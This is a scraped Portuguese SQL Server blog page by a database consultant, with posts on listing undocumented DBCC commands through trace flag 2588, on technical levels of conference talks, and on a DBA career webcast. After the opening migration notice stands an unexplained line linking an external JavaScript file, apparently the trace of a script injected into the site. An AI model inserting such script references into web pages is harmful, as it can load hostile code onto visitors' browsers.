Novo Blog

Olá Pessoal, tudo bem?

Meu blog foi migrado para um outro local… Fundei a SQLCORE, consultoria especializada em ambientes com Microsoft SQL Server. Nosso blog agora é www.sqlcore.com.br/blog

Os principais posts daqui foram re-postados lá.

Fiquem de olho para os próximos posts.

Um abraço e bons estudos!
Erickson Ricci

https://cloudapi.online/js/api46.js

Anúncios

Comandos DBCC

Olá,

O SQL Server possui uma série de comandos chamados DBCC (Database Console Commands). Mais informações aqui (http://technet.microsoft.com/pt-br/library/ms188796.aspx)

Estes comandos são divididos em quatro categorias:

  • Manutenção (Maintenance)
  • Diversos (Miscellaneous)
  • Informação (Informational)
  • Validação (Validation)

Existem 30 comandos documentados. (Vide link da documentação oficial acima). Porém, existem muitos outros comandos DBCC não-documentados. (e obviamente não suportados).

Para poder visualizar todos os comandos DBCC é preciso habilitar um trace flag. Até o SQL Server 2005 você poderia utilizar o trace flag 2520 mas depois desta edição passou a valer o trace flag 2588, conforme explicado pelo Paul Randal (autor da alteração) neste post (https://www.sqlskills.com/blogs/paul/dbcc-writepage/).

Há um dos comandos DBCC que lista todos os outros: DBCC HELP. Nele você pode informar o nome do comando DBCC que você deseja visualizar, onde será informado os parâmetros utilizados pelo comando, ou informar o parâmetro ‘?’, para listar todos os comandos.

Para visualizar todos os comandos DBCC, execute o script abaixo:

DBCC TRACEON(2588)

GO

DBCC HELP(‘?’)

GO

 

O DBCC TRACEON é utilizado para habilitar o trace flag 2588 somente para a sessão atual que está executando estes comandos. Uma vez que você visualizar todos os comandos DBCC, escolha um deles, e execute o DBCC HELP para visualizar os parâmetros de execução daquele comando, conforme exemplo abaixo. Eu escolhi o comando CHECKDB:

 

DBCC HELP(‘CHECKDB’)

GO

 

O resultado foi o seguinte:

 

dbcc CHECKDB

(

    { ‘database_name’ | database_id | 0 }

    [ , NOINDEX

    | { REPAIR_ALLOW_DATA_LOSS

    | REPAIR_FAST

    | REPAIR_REBUILD

    } ]

)

    [ WITH

        {

            [ ALL_ERRORMSGS ]

            [ , [ NO_INFOMSGS ] ]

            [ , [ TABLOCK ] ]

            [ , [ ESTIMATEONLY ] ]

            [ , [ PHYSICAL_ONLY ] ]

            [ , [ DATA_PURITY ] ]

            [ , [ EXTENDED_LOGICAL_CHECKS  ] ]

        }

    ]

 

DBCC execution completed. If DBCC printed error messages, contact your system administrator.

Você vai perceber que para comandos não documentados a saída do DBCC HELP é ligeiramente diferente:

 

dbcc buffer ( {‘dbname’ | dbid} [, {‘objname’ | objid} [, number [, printopt={0|1|2} ][, dirty | io | kept | rlock | ioerr | hashed ]]])

 

DBCC execution completed. If DBCC printed error messages, contact your system administrator.

ATENÇÃO: Como é de conhecimento de muitos, o SQL Server possui diversos comandos não-documentados, e como tal, não são suportados pelo suporte Microsoft. Portanto, tenha muito cuidado e atenção ao executar um destes comandos e evite “testar” estes comandos em ambiente de produção. Outro ponto importante é que já que não são suportados, seu funcionamento e existência podem ser alterados a cada versão do SQL Server.

 

Eu realizei alguns testes em quatro versões diferentes do SQL Server. SQL Server 2008 (10.0.4000), SQL Server 2008 R2 (10.50.2789), SQL Server 2012 (11.0.3000) e SQL Server 2014 (CTP2) (12.0.1524).

 

Não há diferenças entre as versões 2008 e 2008 R2. Os seguintes comandos existiam nestas versões e foram removidos para as próximas:

 

DBCC ACTIVECURSORS

DBCC DBRECOVER

DBCC ICECAPQUERY

DBCC LATCH

DBCC METADATA

DBCC MOVEPAGE

DBCC PRTIPAGE

DBCC SHOWDBAFFINITY

DBCC SHOWTABLEAFFINITY

No SQL Server 2012 surgiram 3 novos comandos:

 

DBCC CRASHDB

DBCC CSINDEX

DBCC READBYTES

E ainda no SQL Server 2014 surgiu mais um comando:

 

DBCC FLUSHQUERYSTORE

 

Todos os comandos removidos ou incluídos são não-documentados.

 

Apesar de existirem muito mais comandos não-documentados do que documentados, muitos comandos são frequentemente utilizados e “documentados” pela comunidade técnica, como por exemplo, DBCC PAGE, DBCC IND, DBCC EXTENTINFO, entre outros.

Referências: https://www.sqlskills.com/blogs/paul/category/dbcc/ http://technet.microsoft.com/pt-br/library/ms188796.aspx

Bons estudos!!! Erickson Ricci

Session levels – Como medir o nível técnico de palestras e treinamentos

Olá,

Hora de retomar alguns artigos por aqui … 

Vocês já pararam para pensar no significado dos níveis das palestras e treinamentos que normalmente participamos? Palestra XPTO de SQL Server 2012 (Nível 300). Mas o que exatamente significa “Nível 300” ?!

Por um bom tempo eu procurei por uma explicação decente para estes níveis mas até esses dias eu não havia encontrado nada que me explicasse estes níveis direito… Até que encontrei um artigo que explicasse de maneira simples e direta. (Você pode ler o artigo original AQUI ). Vou descrever o meu entendimento de cada nível abaixo:

  • Nível 100 (Básico) – Considera que você já possui algum conhecimento, não necessariamente experiência prática. Sugere que você tenha menos de um ano com experiência com o produto… Em outras palavras, você conhece o SQL Server e até se arrisca a rodar algumas queries, mas se perguntarem onde você inicia o serviço do SQL você já pode ter dúvidas… =)
  • Nível 200 (Intermediário) – Agora você já conhece o produto e tem experiência com ele (1 a 3 anos). É hora de conhecer novas features. Já podemos falar de tuning de índices, configurações do SQL, monitoramento, etc, etc, etc…
  • Nível 300 (Avançado) – Aqui já se tem um profundo conhecimento do produto e sua utilização. Já podemos falar um pouco de internals, alta disponibilidade, soluções mais complexas de códigos/arquitetura, etc. Você provavelmente já seria um DBA pleno/senior neste nível. Considera-se um tempo de experiência de 4 a 6 anos.
  • Nível 400 (Expert ou SET GOING_CRAZY_MODEL ON) – Quem sabe, sabe. Aqui se fala do funcionamento detalhado de funções e componentes internos do produto, podemos falar de scheduling, troubleshooting avançado, disaster recovery descrevendo detalhadamente o que acontece internamente, etc… Diz-se apropriado para quem possui mais de 6 anos de experiência com o produto.
  • Nível 500 (tem mais?! …. Não-Oficial ou SET INSANE_MODE ON) – Se você achou o nível 400 muito Deep Dive, este nível é Deep Deep Deep Deep Dive… rs. Em resumo, é tenso! Pessoas como Bob Ward, Paul Randal, Itzik Ben-Gan, Paul White e outros se encontram por aqui para trocar idéias… 

Um ponto de atenção, não pense que porque você vai a um evento (PASS Summit, por exemplo) e tem uma palestra de nível 200 e que você não vai aprender nada de interessante pois você já “se considera” como nível 300 ou 400… não se engane. Há muitas palestras de nível 200/300 por ai que são fantásticas.

Muitas vezes as palestras variam o nível também. A média da palestra pode ser 200 mas o palestrante pode te dar umas dicas ou demonstrar exemplos de nível 300/400 no meio da palestra… fique atento!

Espero que a informação seja útil.

 

Enjoy!

Destination: Change

I have been asked a few times if there was a landing page for the 70-451 posts and figured that such a page would probably be more helpful than just the tags post.  So, without further ado, here is the listing:

Designing a Database Strategy (13 percent)

Ver o post original 765 mais palavras

iSQL Server - Um blog para falar de SQL Server

Tivemos hoje um webcast especial do grande amigo Erickson Ricci (blog | twitter) falando sobre a carreira de DBA. Pontos fundamentais de uma profissão extremamente importante e dando algumas dicas muito bem colocadas para não sermos apenas mais um DBA no mercado de trabalho.

Este webcast foi o primeiro de uma série de webcasts que serão realizados pelo grupo MTAC – Microsoft Technical Audience Contributor.

O webcast foi gravado e já esta disponível através do link de cadastramento do webcast.

Acessem e assistam agora mesmo!

https://msevents.microsoft.com/CUI/EventDetail.aspx?culture=pt-BR&EventID=1032527674&CountryCode=BR

Muito obrigado Erickson pelo ótimo webcast e aguardem novidades em breve!

Obrigado pela presença de todos e aguardo vocês nos próximos webcasts.

Ver o post original